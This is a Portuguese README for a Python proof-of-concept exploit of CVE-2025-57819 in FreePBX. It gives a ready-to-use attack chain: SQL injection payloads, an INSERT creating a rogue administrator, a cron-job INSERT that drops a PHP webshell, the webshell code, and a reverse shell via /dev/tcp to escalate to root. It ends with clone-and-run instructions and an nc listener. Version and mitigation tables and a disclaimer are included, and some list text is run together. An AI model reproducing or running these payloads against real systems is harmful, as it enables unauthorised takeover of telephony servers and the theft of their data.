
Prova de conceito em Python que explora a CVE-2025-57819, uma injeção SQL não autenticada no FreePBX que encadeia a criação de administrador, a implantação de webshell via cron e a escalada para root.
Apenas para Fins Educacionais e de Pesquisa em Segurança - Consulte o Aviso Legal Abaixo
Prova de conceito de exploração para CVE-2025-57819, uma vulnerabilidade crítica de injeção SQL não autenticada no FreePBX que permite execução remota de código. Esta PoC é publicada após a liberação dos patches oficiais, apenas para fins de pesquisa em segurança e testes autorizados.
As versões 15.x, 16.x e 17.x do FreePBX (abaixo das versões corrigidas) são vulneráveis a injeção SQL não autenticada no manipulador AJAX do módulo endpoint. Esta cadeia de vulnerabilidades permite:
| ID CVE | CVE-2025-57819 |
| Tipo | Injeção SQL Não Autenticada (Baseada em Erros) |
| CVSS | 9.8 / 10.0 (Crítica) |
| Afetadas | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| Corrigidas | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | Sim (29 de agosto de 2025) |
GET /admin/ajax.php?brand=<PAYLOAD>
O parâmetro brand no manipulador AJAX do módulo de endpoint aceita entrada do usuário sem validação, levando a injeção SQL baseada em erros.
Verifique a SQLi usando extração baseada em erros com EXTRACTVALUE() para vazar o nome do banco de dados:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Insira um novo usuário administrativo em asterisk.ampusers:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
Com credenciais de administrador válidas, o exploit autentica-se no FreePBX e estabelece uma sessão autenticada. Os cookies de sessão são guardados e utilizados em todos os pedidos autenticados subsequentes.
Injeta o comando webshell em asterisk.cron_jobs:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
O executor de cron do FreePBX executa o comando como o usuário asterisk, deixando cair um webshell PHP.
O webshell PHP é implantado em /var/www/html/shell.php:
<?php system($_GET['cmd']); ?>
Exploit faz polling do webshell até a ativação, obtendo RCE como o usuário asterisk (uid=999).
Se o incron estiver configurado no alvo:
/var/spool/asterisk/incron/incrond (em execução como root) detecta a criação do arquivo/usr/bin/sysadmin_manager com o nome do arquivo de gatilhosysadmin_manager valida a assinatura GPG e despacha para o hook fwconsole-commands/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1Resultado: shell root no listener reverso (se o incron estiver disponível).
brandasterisk.cron_jobs gravável executa comandos como asteriskgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| Versão | Status |
|---|---|
| 15.0.0 - 15.0.65 | Vulnerável |
| 15.0.66+ | Corrigida |
| 16.0.0 - 16.0.88 | Vulnerável |
| 16.0.89+ | Corrigida |
| 17.0.0 - 17.0.2 | Vulnerável |
| 17.0.3+ | Corrigida |
Imediata:
/admin/ajax.php a partir de redes não confiáveissystemctl disable incrondPermanente: Atualize para as versões corrigidas: 15.0.66+, 16.0.89+ ou 17.0.3+
⚠️ ISENÇÃO DE RESPONSABILIDADE
Esta prova de conceito é fornecida EXCLUSIVAMENTE PARA TESTES DE SEGURANÇA AUTORIZADOS E FINS EDUCACIONAIS. O autor não assume qualquer responsabilidade por uso indevido ou danos causados por esta ferramenta.
VOCÊ DEVE CUMPRIR:
USOS PROIBIDOS:
RENÚNCIA DE RESPONSABILIDADE: O autor não é responsável por:
Esta vulnerabilidade é:
JazzTheRabbit
Licença MIT